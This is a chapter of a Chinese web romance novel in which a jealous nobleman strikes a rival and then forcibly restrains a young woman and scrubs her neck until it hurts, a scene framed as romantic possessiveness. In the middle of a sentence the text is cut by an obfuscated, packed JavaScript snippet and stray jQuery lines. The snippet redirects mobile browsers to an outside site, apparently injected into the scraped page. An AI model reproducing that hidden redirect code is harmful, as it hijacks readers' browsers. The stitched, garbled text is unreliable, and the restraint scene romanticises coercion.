裴砚却无视邬涟的话,将叶冬知交到阿蔷手上,“你家小姐睡熟了,动作轻些,别吵醒她。”
阿蔷愣愣地接过叶冬知,让她半倚在自己身上,动作之间,裴砚盖在叶冬知身上的外裳滑落,露出一截白生生的细颈,上面隐约坠着两点指甲盖大小的红痕。
邬涟眼力极好,纵使隔着一段距离,也看得十分清楚。
他神色陡然沉了下来,威压迫人,眼中的戾色仿若锋利的刀刃。
“你对她做了什么!?”
其实那两点只是被这山里的蚊子咬的,山里蚊子大,加之叶冬知皮肤娇嫩,被咬之后不经意挠了挠,便变成现在这番模样。
印象中的邬涟,冷静少言,便是泰山崩于面前亦能面不改色。
他是天子器重的重臣,是刑部锋芒毕露的一把刀,是永定侯府的半个家主,更是京都众人眼中白璧无瑕的存在。
但此刻,他脸上的神色与一般见到妻子被辱的男子并无分别。
然,对此裴砚却未做解释,只直视着邬涟道:“如你所见。”
话落,裴砚不及反应,脸上便重重挨了一拳。
他被打得后退两步,眼神惊讶地看着邬涟。
不曾想邬涟平日一副清心寡欲、品行高洁,也不好争斗的样子,身手竟这般好,快得他甚至来不及反应。
裴砚伸手,抹去嘴角血迹。
他道,“大公子何故这般生气?”
邬涟收了手,拿帕子拭去手指沾染的血迹,但眼中的冷意并未散去,“叶冬知将是我侯府主母,裴公子清楚自己在做什么吗?”
“我这一拳,是替义父。”
听到这句话,裴砚却像是觉得十分好笑,他神色幽幽,“真当是为了永定侯吗?大公子。”
邬涟示意阿蔷将叶冬知先带进去,才对着裴砚反讽道:“邬某原以为裴公子是光明磊落之人,却没想到竟干出这等畜生不如的勾当。”
“不知裴老可知?”
裴砚忽地笑了,笑声在夜色里格外爽朗。
他收了笑容,“大公子不愧是圣上钦点的状元,骂起人来也是头头是道,只可惜裴某才疏学浅不如大公子伶牙俐齿。”
帐外氛围如乌云蔽月,榻上安睡的叶冬知翻了个身,却猛然被脑中系统激烈的警报声惊醒。
她迷蒙地坐起来,扫视了周围一圈,见到阿蔷正站在帐门口看着帐外,神色焦急又无可奈何。
【警告!警告!目标人物怒气值攀升,需立即进行安抚!】
【另外,系统检测目标有ooc的趋势,宿主需立即执行任务!】
系统的语气比之前更为严厉,足以证明这次任务的重要性和紧急性。
叶冬知连忙下了榻,几步奔到帐门口,刚要掀帘便听见一句:
“大公子虽不肯承认自己的心思,想必侯府众人也能看出来,只怕大公子难以堵住悠悠众口,届时永定侯回来,你当如何交代?”
剑拔弩张的气氛,让人心惊肉跳。
叶冬知心头有些慌,但到底还是稳了稳心神,伸手掀帘而出。
帐外两人听见声音微微转过头来,待叶冬知看清两人的脸时,被吓了一跳。
只见裴砚神色不复平日的温和,带着点嘲讽和不屑,嘴角一块青紫,还有丝丝血迹没有被完全擦干净。
当她的视线落到邬涟面上时,心神狠狠震了一下。
邬涟背对着账内的火光,整个面容被吞噬在昏暗之中,那双眼没有一丝光亮,眸色如泼墨,泛着压抑的狠厉和晦暗。
像是被人一下子戳穿了隐秘的心思,唇紧紧绷着,眼神盯着叶冬知,明明他还未做什么,但她却感到几分莫名的阴冷。
更准确的说,他的眼睛应该是透过她的衣衫盯着那两点不足为道的红印。
心头浮起一阵不详的预感,邬涟这幅样子太过有攻击性,令她竟然不敢与之对视。
但叶冬知很快理清了局势,也在一瞬间想好了对策。
她脊背发毛地强迫自己忽视那逼人的视线,径直走向裴砚,小声道:“你先回去,我会同他解释。”
裴砚落到她面上的目光瞬间温和,过了片刻才道:“好。”
但他刚踏出一步,又回头叮嘱道,“若是发生什么你直接叫我便是,我就在附近。”
说着,他指了指不远处的帐篷。
叶冬知点点头,安抚性地笑了一下。
不过,虽然现在的邬涟看起来心情十分不好的样子,但是他那样克己复礼的人,也应当不会做出什么出格的事情来。
等到裴砚的背影逐渐消失在视线中,叶冬知转过头看着邬涟,冲他温柔一笑,问道:“今日怎的回来这么晚?”
俗话说,伸手不打笑脸人。
但下一刻,叶冬知就明白,邬涟这人,不是正常人。
闻言,他眼瞳漆黑,盯着她看了许久,冷不丁道:
“不晚一点回来,也看不见你同裴砚这般亲热。”
“亲热”两个字他说得又缓又轻,但她偏偏听出几分意味深长。
叶冬知心里咯噔一声。
今天的事情好像不大好办。
但她向来是一个很会看人脸色,也很识时务的人,当即就软了嗓音,去牵他的袖子,道:
“别生气了,我同裴砚只是普通朋友。”
不说还好,这几个字一出,她敏锐地感到周身气温顿时降至冰点。
“普通朋友?”
他的语气明明在笑,可话语却森冷得很。
邬涟扫过她颈间两点刺眼的红印,自喉咙里挤出一声幽长轻呵。
他开口,“叶冬知。”
“你知道他对你做了什么?”
这是他第二次唤她的全名,同上一次不同,上一次他羞恼又愤怒,而这一次叶冬知感受不到分毫的羞涩,只有浑身包裹着她的无形冷意。
他语气这般凝重,让她突而生出几分心虚,难不成裴砚真对她做了什么。
她在脑子里飞速回忆方才同裴砚待在一起的场景。
想了半晌,也没想出哪里有出格的地方。
当然在裴砚肩上睡着的事以及后来裴砚抱着她回营地的事,她分毫不知。
见她垂着头不开口,他缓缓呼出口气,问:“怎么,是想不起来,还是说不愿意承认?”
说话间,他的脚步逐渐逼近。
叶冬知不自觉地后退两步,无辜道:“我真不知道。”
邬涟不语,目光定在她白嫩的脖颈间,她越靠近帐篷,那两点印记被火光照着便越发显眼,落在他的眼里便越发刺眼。
他压着眉头,冷声道了四字。
“恬不知耻。”
叶冬知心头的怒气蹿地一下上来。
她明明什么都没做却要遭受他无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525172|203452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缘无故的指责,她心一横,脆声反驳道:“是你内心龌龊,才会看什么都觉得龌龊!”
她说完还没来得及痛快,一抬头发现,邬涟居然笑了。
他很少笑,是以见到他脸上出现这样的神情时,她有些愣住了。
那是一种很奇怪的笑,唇角轻慢地扯开,极轻地上扬,脖颈处的脉络随着他的动作抽动,像一根绷紧到极致的弦。
但他的眼却没有一丝笑意。
无声的沉默中,叶冬知下意识觉得不能再待在这里,于是她掉头就往营帐里跑。
但刚跑开几步,就登时被身后的男人拦腰抱起,随即掀帘入了帐内。
他的手紧紧箍住她的腰肢,手指几乎要陷入她腰侧的软肉之中。
阿蔷傻愣愣站在原地,被邬涟的动作惊得眼珠子都差点掉下来。
随即听得他一声冷呵:“出去。”
阿蔷不敢再待在里面,慌忙钻出了帐篷。
叶冬知一时忘记了反应,但很快发现邬涟进了她的帐篷,还抱着她,她瞬间就急了。
“你干什么!放开我!”
邬涟并不应答,只是将她放在地上,接着在临时的小几上倒了一杯茶水,拿绢帕沾了水,几乎是有些粗暴地扯开她的衣襟。
叶冬知心中警铃大作,她死死扯住自己的衣襟,眼眸刹那蒙上了一层水气,她颤抖着声音,带着压抑不住的慌乱。
“邬涟,你疯了!?”
邬涟不语,眼中墨色不减,轻松拉开她的双手,单手将她两只手腕反剪在身后。
叶冬知欲哭无泪,才突然醒悟。
邬涟根本就不是所谓的正人君子,他骨子里是个疯子,真的会乱来的。
于是她张口大叫,“裴砚!裴砚!”
按理来说,常人遇见这种状况,只会慌张地捂住大叫之人的嘴,但邬涟却置若罔闻,反而淡淡扫了她一眼,语气幽幽,“你若是再叫,我不介意让他看到一些别的什么。”
仅仅一句话,叶冬知就哑了火。
好在他并不像她想的一般,也未脱掉她的衣服,只是将她的领口微微扯开,露出一片白瓷一般的肌肤。
而他拿着那块湿润的绢帕,反复擦拭着那两处红印。
女子肌肤本就娇嫩,直到那片肌肤都红成一团,他也依然未有停手的迹象。
叶冬知感到自己的皮肤像是被火镣烤了一般,火辣辣地疼,她终于忍不住哽咽道:“别擦了,好疼。”
听到这话,邬涟才堪堪罢手。
他收了手,将用过的绢帕丢到一旁,慢条斯理地拿出一块干净的绢帕擦拭着手上的茶渍。
叶冬知无助又委屈,垂着头,眼睛通红地将自己敞开的衣襟整理好。
而对方早就好整以暇地坐在椅子上看着她,眸中还有未褪尽的冷意。
他起身走到她面前,高高在上睥睨着她。
在这处简陋的帐篷里,他纤尘不染、高洁无双,唯有吐出的话昭示着他并不如表象一般清心寡欲、目下无尘。
他的语气冰冷又强势,字字都如重石砸在叶冬知的心上。
“若是再有下次,我不会忍你。”
纵使如此,她并不认为自己有什么地方做错了。
但当务之急,是顺着他,免得再生出什么意外。
“嗯。”
闻言,邬涟眼中的冷意才褪去几分。